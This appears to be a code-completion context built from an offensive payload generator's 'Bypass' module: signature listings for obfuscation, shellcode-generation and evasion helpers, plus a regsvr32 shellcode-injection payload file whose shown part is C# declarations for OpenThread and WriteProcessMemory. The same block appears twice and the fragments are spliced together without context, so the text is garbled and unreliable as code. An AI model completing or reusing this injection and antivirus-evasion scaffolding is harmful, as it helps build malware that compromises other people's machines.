# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/shellcode_help.py
# class Shellcode:
#     def __init__(self, cli_obj):
#     def Reset(self):
#     def LoadModules(self):
#     def payload_selection_menu(self, showTitle=True):
#     def menu(self):
#     def generate(self, required_options=None):
# def cli_msf_shellcode_gen(command_line_args):


import base64
import os
from Tools.Bypass.bypass_common import bypass_helpers # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import gamemaker # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import shellcode_help # pylint: disable=E0611,E0401
                public short cbReserved2;
                public IntPtr lpReserved2;
                public IntPtr hStdInput;
                public IntPtr hStdOutput;
                public IntPtr hStdError;
            }
            
            [Flags]
            public enum ThreadAccess : int
            {
                TERMINATE           = (0x0001)  ,
                SUSPEND_RESUME      = (0x0002)  ,
                GET_CONTEXT         = (0x0008)  ,
                SET_CONTEXT         = (0x0010)  ,
                SET_INFORMATION     = (0x0020)  ,
                QUERY_INFORMATION       = (0x0040)  ,
                SET_THREAD_TOKEN    = (0x0080)  ,
                IMPERSONATE         = (0x0100)  ,
                DIRECT_IMPERSONATION    = (0x0200)
            }
            
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
                int dwThreadId);

            
            [DllImport("kernel32.dll",SetLastError = true)]
            public static extern bool WriteProcessMemory(
                IntPtr hProcess,
                IntPtr lpBaseAddress,

# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/shellcode_help.py
# class Shellcode:
#     def __init__(self, cli_obj):
#     def Reset(self):
#     def LoadModules(self):
#     def payload_selection_menu(self, showTitle=True):
#     def menu(self):
#     def generate(self, required_options=None):
# def cli_msf_shellcode_gen(command_line_args):


# Path: Tools/Bypass/payloads/regsvr32/shellcode_inject/base64_migrate.py
import base64
import os
from Tools.Bypass.bypass_common import bypass_helpers # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import gamemaker # pylint: disable=E0611,E0401
from Tools.Bypass.bypass_common import shellcode_help # pylint: disable=E0611,E0401

                public short cbReserved2;
                public IntPtr lpReserved2;
                public IntPtr hStdInput;
                public IntPtr hStdOutput;
                public IntPtr hStdError;
            }
            
            [Flags]
            public enum ThreadAccess : int
            {
                TERMINATE           = (0x0001)  ,
                SUSPEND_RESUME      = (0x0002)  ,
                GET_CONTEXT         = (0x0008)  ,
                SET_CONTEXT         = (0x0010)  ,
                SET_INFORMATION     = (0x0020)  ,
                QUERY_INFORMATION       = (0x0040)  ,
                SET_THREAD_TOKEN    = (0x0080)  ,
                IMPERSONATE         = (0x0100)  ,
                DIRECT_IMPERSONATION    = (0x0200)
            }
            
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
                int dwThreadId);

            
            [DllImport("kernel32.dll",SetLastError = true)]
            public static extern bool WriteProcessMemory(
                IntPtr hProcess,
                IntPtr lpBaseAddress,

                byte[] lpBuffer,